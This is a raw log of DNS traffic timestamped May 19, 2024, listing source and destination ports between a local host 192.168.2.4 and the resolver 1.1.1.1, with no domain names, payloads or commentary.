May 19, 2024 17:27:41.628036976 CEST	53	64468	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.693156958 CEST	53	58361	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.698930979 CEST	65312	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.699173927 CEST	59485	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.699384928 CEST	55571	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.699609041 CEST	64189	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.717848063 CEST	53	64189	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.717876911 CEST	53	55571	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.717905998 CEST	53	59485	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.747745991 CEST	53	53187	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.795902014 CEST	64217	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.796293020 CEST	61540	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.796792984 CEST	61840	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.797583103 CEST	63610	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.798109055 CEST	65307	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.854042053 CEST	53	61540	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.863653898 CEST	53	63610	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.909462929 CEST	53	49233	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.909491062 CEST	53	65307	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.912458897 CEST	60966	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.912535906 CEST	62789	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.912878036 CEST	59353	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.912914991 CEST	62381	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.913158894 CEST	49392	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.913192987 CEST	65275	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.913436890 CEST	50067	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.913779974 CEST	61155	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:41.932930946 CEST	53	59353	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.932960987 CEST	53	62789	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.942456961 CEST	53	65275	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.948618889 CEST	53	50067	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.953486919 CEST	53	62381	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.963088036 CEST	53	64207	1.1.1.1	192.168.2.4
May 19, 2024 17:27:41.963145971 CEST	53	49392	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.025305986 CEST	53	61155	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.026045084 CEST	53784	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.073164940 CEST	53	53784	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.152899027 CEST	61129	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.153124094 CEST	64518	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.153708935 CEST	51433	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.153940916 CEST	64670	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.154134035 CEST	57733	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.154525995 CEST	56292	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.154870987 CEST	51003	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.201040030 CEST	53	64670	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.201070070 CEST	53	57733	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.201117039 CEST	53	64518	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.201145887 CEST	53	51003	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.207545042 CEST	52582	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.208353996 CEST	62582	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.209758043 CEST	61400	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.210462093 CEST	61372	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.227201939 CEST	53	62582	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.260575056 CEST	53	56292	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.285697937 CEST	53	52582	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.318691969 CEST	53	61129	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.337523937 CEST	52856	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.338077068 CEST	49236	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.338665962 CEST	62371	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.342070103 CEST	50642	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.358345985 CEST	53	61372	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.379017115 CEST	53	64217	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.389923096 CEST	53	49236	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.417241096 CEST	53	60966	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.479708910 CEST	53	61400	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.479769945 CEST	53	65312	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.481188059 CEST	64067	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.481416941 CEST	55742	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.481966019 CEST	63159	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.482068062 CEST	61112	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.529124022 CEST	53	51433	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.534049988 CEST	53	64067	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.534151077 CEST	53	50642	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.549541950 CEST	53	62371	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.549573898 CEST	53	55742	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.635840893 CEST	53	61112	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.644985914 CEST	55310	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.645220041 CEST	64578	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.645431042 CEST	50856	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.645618916 CEST	52001	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.645812988 CEST	60190	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.647839069 CEST	54094	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.698188066 CEST	53	64578	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.698273897 CEST	53	52001	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.698302031 CEST	53	50856	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.744813919 CEST	53	54094	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.746016026 CEST	56512	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.746373892 CEST	53517	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.746673107 CEST	52113	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.746779919 CEST	52318	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.771692991 CEST	53	52318	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.771805048 CEST	53	52113	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.771835089 CEST	53	55310	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.776384115 CEST	53	53517	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.776413918 CEST	53	56512	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.787686110 CEST	61840	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.861481905 CEST	59764	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.861932993 CEST	58392	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.861973047 CEST	53209	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:42.877444029 CEST	53	58392	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.882111073 CEST	53	59764	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.886754990 CEST	53	63159	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.932533979 CEST	53	53209	1.1.1.1	192.168.2.4
May 19, 2024 17:27:42.956664085 CEST	57333	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:43.022243023 CEST	53	57333	1.1.1.1	192.168.2.4
May 19, 2024 17:27:43.079226971 CEST	60828	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:43.082905054 CEST	60170	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:43.119839907 CEST	53	61840	1.1.1.1	192.168.2.4
May 19, 2024 17:27:43.119870901 CEST	53	61840	1.1.1.1	192.168.2.4
May 19, 2024 17:27:43.119899035 CEST	53	60170	1.1.1.1	192.168.2.4
May 19, 2024 17:27:43.129225016 CEST	63361	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:43.133786917 CEST	61365	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:43.145298004 CEST	53	61365	1.1.1.1	192.168.2.4
May 19, 2024 17:27:43.201095104 CEST	53	60190	1.1.1.1	192.168.2.4
May 19, 2024 17:27:43.232615948 CEST	54932	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:43.232667923 CEST	57517	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:43.279001951 CEST	53	57517	1.1.1.1	192.168.2.4
May 19, 2024 17:27:43.279033899 CEST	53	54932	1.1.1.1	192.168.2.4
May 19, 2024 17:27:43.334616899 CEST	52856	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:43.344357967 CEST	49308	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:43.438817024 CEST	53	60828	1.1.1.1	192.168.2.4
May 19, 2024 17:27:43.451492071 CEST	62464	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:43.469799995 CEST	53	62464	1.1.1.1	192.168.2.4
May 19, 2024 17:27:43.538052082 CEST	54977	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:43.640291929 CEST	52530	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:43.640614033 CEST	52434	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:43.640654087 CEST	49683	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:43.680000067 CEST	53	52434	1.1.1.1	192.168.2.4
May 19, 2024 17:27:43.733773947 CEST	53	54977	1.1.1.1	192.168.2.4
May 19, 2024 17:27:43.744698048 CEST	60754	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:43.764300108 CEST	53	60754	1.1.1.1	192.168.2.4
May 19, 2024 17:27:43.856374979 CEST	62586	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:43.882564068 CEST	53	49683	1.1.1.1	192.168.2.4
May 19, 2024 17:27:43.901909113 CEST	53	62586	1.1.1.1	192.168.2.4
May 19, 2024 17:27:43.998437881 CEST	50252	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:44.001902103 CEST	53	63361	1.1.1.1	192.168.2.4
May 19, 2024 17:27:44.124327898 CEST	53	49308	1.1.1.1	192.168.2.4
May 19, 2024 17:27:44.324260950 CEST	53	52530	1.1.1.1	192.168.2.4
May 19, 2024 17:27:44.350503922 CEST	52856	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:44.379149914 CEST	52046	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:44.469243050 CEST	50109	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:44.469480038 CEST	61394	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:44.533519030 CEST	53	50109	1.1.1.1	192.168.2.4
May 19, 2024 17:27:44.533612967 CEST	53	61394	1.1.1.1	192.168.2.4
May 19, 2024 17:27:44.533643007 CEST	53	52046	1.1.1.1	192.168.2.4
May 19, 2024 17:27:44.573086023 CEST	53	50252	1.1.1.1	192.168.2.4
May 19, 2024 17:27:44.593337059 CEST	58071	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:44.593641996 CEST	59843	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:44.635427952 CEST	53	59843	1.1.1.1	192.168.2.4
May 19, 2024 17:27:44.656241894 CEST	53	58071	1.1.1.1	192.168.2.4
May 19, 2024 17:27:44.688322067 CEST	62111	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:44.744918108 CEST	52785	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:44.786963940 CEST	53	52785	1.1.1.1	192.168.2.4
May 19, 2024 17:27:44.841259003 CEST	59631	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:44.841795921 CEST	64103	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:45.105413914 CEST	59763	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:45.120193958 CEST	53	59763	1.1.1.1	192.168.2.4
May 19, 2024 17:27:45.182552099 CEST	64426	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:45.196551085 CEST	53	59631	1.1.1.1	192.168.2.4
May 19, 2024 17:27:45.232255936 CEST	53	64426	1.1.1.1	192.168.2.4
May 19, 2024 17:27:45.473875999 CEST	51233	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:45.476285934 CEST	62451	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:45.476864100 CEST	62952	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:45.492928982 CEST	53	62451	1.1.1.1	192.168.2.4
May 19, 2024 17:27:45.497899055 CEST	53	51233	1.1.1.1	192.168.2.4
May 19, 2024 17:27:45.534859896 CEST	56917	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:45.535132885 CEST	57723	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:45.582328081 CEST	53	64103	1.1.1.1	192.168.2.4
May 19, 2024 17:27:45.678174973 CEST	62111	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:45.731420040 CEST	53	56917	1.1.1.1	192.168.2.4
May 19, 2024 17:27:45.761784077 CEST	53	62952	1.1.1.1	192.168.2.4
May 19, 2024 17:27:45.812127113 CEST	53	62111	1.1.1.1	192.168.2.4
May 19, 2024 17:27:45.812179089 CEST	53	62111	1.1.1.1	192.168.2.4
May 19, 2024 17:27:45.844882965 CEST	63250	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:45.845017910 CEST	51502	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:45.901036024 CEST	53	51502	1.1.1.1	192.168.2.4
May 19, 2024 17:27:45.913242102 CEST	53	63250	1.1.1.1	192.168.2.4
May 19, 2024 17:27:45.932627916 CEST	53	57723	1.1.1.1	192.168.2.4
May 19, 2024 17:27:45.986140013 CEST	64950	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:45.986375093 CEST	61297	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:46.005084038 CEST	53	61297	1.1.1.1	192.168.2.4
May 19, 2024 17:27:46.019638062 CEST	53	64950	1.1.1.1	192.168.2.4
May 19, 2024 17:27:46.082077980 CEST	60609	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:46.182526112 CEST	59406	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:46.182909012 CEST	63371	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:46.197268963 CEST	53	59406	1.1.1.1	192.168.2.4
May 19, 2024 17:27:46.207019091 CEST	53	63371	1.1.1.1	192.168.2.4
May 19, 2024 17:27:46.352085114 CEST	57927	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:46.353101969 CEST	51246	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:46.353373051 CEST	49519	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:46.353482008 CEST	52856	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:46.372040033 CEST	53	51246	1.1.1.1	192.168.2.4
May 19, 2024 17:27:46.392651081 CEST	53	57927	1.1.1.1	192.168.2.4
May 19, 2024 17:27:46.407985926 CEST	53	49519	1.1.1.1	192.168.2.4
May 19, 2024 17:27:46.434426069 CEST	54404	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:46.688525915 CEST	53	54404	1.1.1.1	192.168.2.4
May 19, 2024 17:27:46.793118954 CEST	59089	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:46.918766975 CEST	61125	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:46.938183069 CEST	53	59089	1.1.1.1	192.168.2.4
May 19, 2024 17:27:46.956298113 CEST	53	61125	1.1.1.1	192.168.2.4
May 19, 2024 17:27:47.014811039 CEST	53	60609	1.1.1.1	192.168.2.4
May 19, 2024 17:27:47.030217886 CEST	60558	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:47.030534029 CEST	54725	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:47.030652046 CEST	56975	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:47.073538065 CEST	53	60558	1.1.1.1	192.168.2.4
May 19, 2024 17:27:47.159113884 CEST	53	54725	1.1.1.1	192.168.2.4
May 19, 2024 17:27:47.203176975 CEST	53	52856	1.1.1.1	192.168.2.4
May 19, 2024 17:27:47.208940983 CEST	53	52856	1.1.1.1	192.168.2.4
May 19, 2024 17:27:47.208996058 CEST	53	52856	1.1.1.1	192.168.2.4
May 19, 2024 17:27:47.209028959 CEST	53	52856	1.1.1.1	192.168.2.4
May 19, 2024 17:27:47.300838947 CEST	53	56975	1.1.1.1	192.168.2.4
May 19, 2024 17:27:47.340080023 CEST	56485	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:47.444169044 CEST	61209	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:47.444598913 CEST	59418	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:47.444744110 CEST	65365	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:47.479583025 CEST	53	61209	1.1.1.1	192.168.2.4
May 19, 2024 17:27:47.479609966 CEST	53	59418	1.1.1.1	192.168.2.4
May 19, 2024 17:27:47.655663967 CEST	52730	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:47.655875921 CEST	59229	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:47.714185953 CEST	53	65365	1.1.1.1	192.168.2.4
May 19, 2024 17:27:47.760925055 CEST	53	59229	1.1.1.1	192.168.2.4
May 19, 2024 17:27:47.902465105 CEST	55309	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:47.921914101 CEST	53	55309	1.1.1.1	192.168.2.4
May 19, 2024 17:27:47.964855909 CEST	51995	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:48.026551008 CEST	53	51995	1.1.1.1	192.168.2.4
May 19, 2024 17:27:48.095633984 CEST	54082	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:48.145462990 CEST	53	56485	1.1.1.1	192.168.2.4
May 19, 2024 17:27:48.293239117 CEST	55325	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:48.293509007 CEST	60869	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:48.339163065 CEST	53	60869	1.1.1.1	192.168.2.4
May 19, 2024 17:27:48.413914919 CEST	63730	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:48.413965940 CEST	54042	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:48.470978975 CEST	53	54042	1.1.1.1	192.168.2.4
May 19, 2024 17:27:48.530916929 CEST	54885	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:48.530916929 CEST	50146	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:48.572266102 CEST	53	50146	1.1.1.1	192.168.2.4
May 19, 2024 17:27:48.613672972 CEST	53	63730	1.1.1.1	192.168.2.4
May 19, 2024 17:27:48.662787914 CEST	52730	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:48.666501999 CEST	49216	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:48.666785955 CEST	57702	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:48.690200090 CEST	53	57702	1.1.1.1	192.168.2.4
May 19, 2024 17:27:48.700223923 CEST	53	49216	1.1.1.1	192.168.2.4
May 19, 2024 17:27:48.760979891 CEST	53	54082	1.1.1.1	192.168.2.4
May 19, 2024 17:27:48.825417042 CEST	61237	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:48.825484991 CEST	55456	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:48.825743914 CEST	58320	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:48.870275021 CEST	53	58320	1.1.1.1	192.168.2.4
May 19, 2024 17:27:48.870336056 CEST	53	61237	1.1.1.1	192.168.2.4
May 19, 2024 17:27:49.007381916 CEST	63351	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:49.039505959 CEST	53	55456	1.1.1.1	192.168.2.4
May 19, 2024 17:27:49.054285049 CEST	53	54885	1.1.1.1	192.168.2.4
May 19, 2024 17:27:49.111205101 CEST	60398	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:49.111762047 CEST	61703	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:49.136141062 CEST	53	60398	1.1.1.1	192.168.2.4
May 19, 2024 17:27:49.162030935 CEST	53	61703	1.1.1.1	192.168.2.4
May 19, 2024 17:27:49.233234882 CEST	53	55325	1.1.1.1	192.168.2.4
May 19, 2024 17:27:49.276592970 CEST	53	52730	1.1.1.1	192.168.2.4
May 19, 2024 17:27:49.276623011 CEST	53	52730	1.1.1.1	192.168.2.4
May 19, 2024 17:27:49.292253971 CEST	53	63351	1.1.1.1	192.168.2.4
May 19, 2024 17:27:49.329822063 CEST	55215	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:49.435642958 CEST	50239	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:49.480036020 CEST	53	55215	1.1.1.1	192.168.2.4
May 19, 2024 17:27:49.489948034 CEST	53	50239	1.1.1.1	192.168.2.4
May 19, 2024 17:27:49.575042009 CEST	64128	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:49.730928898 CEST	60343	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:49.754108906 CEST	53	60343	1.1.1.1	192.168.2.4
May 19, 2024 17:27:49.842628002 CEST	55591	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:49.844188929 CEST	49781	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:49.844896078 CEST	58041	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:49.859385967 CEST	53	49781	1.1.1.1	192.168.2.4
May 19, 2024 17:27:49.869191885 CEST	53	55591	1.1.1.1	192.168.2.4
May 19, 2024 17:27:49.947310925 CEST	53	64128	1.1.1.1	192.168.2.4
May 19, 2024 17:27:50.089411020 CEST	53	58041	1.1.1.1	192.168.2.4
May 19, 2024 17:27:50.236967087 CEST	58045	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:50.237231970 CEST	57907	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:50.333643913 CEST	53	57907	1.1.1.1	192.168.2.4
May 19, 2024 17:27:50.339755058 CEST	60866	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:50.393605947 CEST	53	60866	1.1.1.1	192.168.2.4
May 19, 2024 17:27:50.511353970 CEST	53	58045	1.1.1.1	192.168.2.4
May 19, 2024 17:27:50.530970097 CEST	50514	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:50.531522036 CEST	56440	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:50.531555891 CEST	57884	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:50.531913042 CEST	51965	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:50.590133905 CEST	53	56440	1.1.1.1	192.168.2.4
May 19, 2024 17:27:50.625427961 CEST	53	51965	1.1.1.1	192.168.2.4
May 19, 2024 17:27:50.629137993 CEST	64911	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:50.629405022 CEST	58113	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:50.629641056 CEST	64435	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:50.642874002 CEST	53	64911	1.1.1.1	192.168.2.4
May 19, 2024 17:27:50.653480053 CEST	53	64435	1.1.1.1	192.168.2.4
May 19, 2024 17:27:50.731637001 CEST	53	58113	1.1.1.1	192.168.2.4
May 19, 2024 17:27:50.732836008 CEST	63743	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:50.742315054 CEST	53	50514	1.1.1.1	192.168.2.4
May 19, 2024 17:27:50.838395119 CEST	56716	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:50.838629961 CEST	58207	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:50.886024952 CEST	53	58207	1.1.1.1	192.168.2.4
May 19, 2024 17:27:50.886039019 CEST	53	56716	1.1.1.1	192.168.2.4
May 19, 2024 17:27:51.061331987 CEST	53	63743	1.1.1.1	192.168.2.4
May 19, 2024 17:27:51.113256931 CEST	53	57884	1.1.1.1	192.168.2.4
May 19, 2024 17:27:51.116156101 CEST	49490	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:51.116380930 CEST	51536	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:51.116592884 CEST	55648	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:51.214396954 CEST	53	55648	1.1.1.1	192.168.2.4
May 19, 2024 17:27:51.214428902 CEST	53	49490	1.1.1.1	192.168.2.4
May 19, 2024 17:27:51.216078997 CEST	56139	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:51.216304064 CEST	65196	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:51.257850885 CEST	53	65196	1.1.1.1	192.168.2.4
May 19, 2024 17:27:51.339134932 CEST	53	56139	1.1.1.1	192.168.2.4
May 19, 2024 17:27:51.473582983 CEST	50716	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:51.473831892 CEST	63331	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:51.474030018 CEST	57630	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:51.475502968 CEST	57430	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:51.512010098 CEST	53	57630	1.1.1.1	192.168.2.4
May 19, 2024 17:27:51.512025118 CEST	53	50716	1.1.1.1	192.168.2.4
May 19, 2024 17:27:51.512039900 CEST	53	63331	1.1.1.1	192.168.2.4
May 19, 2024 17:27:51.575360060 CEST	55702	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:51.575747013 CEST	57114	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:51.575977087 CEST	61045	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:51.637648106 CEST	53	57114	1.1.1.1	192.168.2.4
May 19, 2024 17:27:51.637677908 CEST	53	61045	1.1.1.1	192.168.2.4
May 19, 2024 17:27:51.689882040 CEST	53	55702	1.1.1.1	192.168.2.4
May 19, 2024 17:27:52.153175116 CEST	53	57430	1.1.1.1	192.168.2.4
May 19, 2024 17:27:52.901295900 CEST	53	51536	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.180290937 CEST	51536	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.180329084 CEST	57430	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.182760954 CEST	55997	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.183021069 CEST	49936	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.186815977 CEST	52739	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.186954975 CEST	58939	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.187860012 CEST	56327	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.187995911 CEST	62544	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.188368082 CEST	51967	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.188555956 CEST	51401	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.188680887 CEST	55719	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.188813925 CEST	53920	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.189284086 CEST	60630	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.189573050 CEST	59657	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.190952063 CEST	54712	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.191181898 CEST	60039	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.191819906 CEST	60246	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.191983938 CEST	57367	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.193897009 CEST	51831	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.195040941 CEST	53	51536	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.195070028 CEST	53	57430	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.199805021 CEST	53	55997	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.199836016 CEST	53	52739	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.204592943 CEST	53	60246	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.214077950 CEST	53	51401	1.1.1.1	192.168.2.4
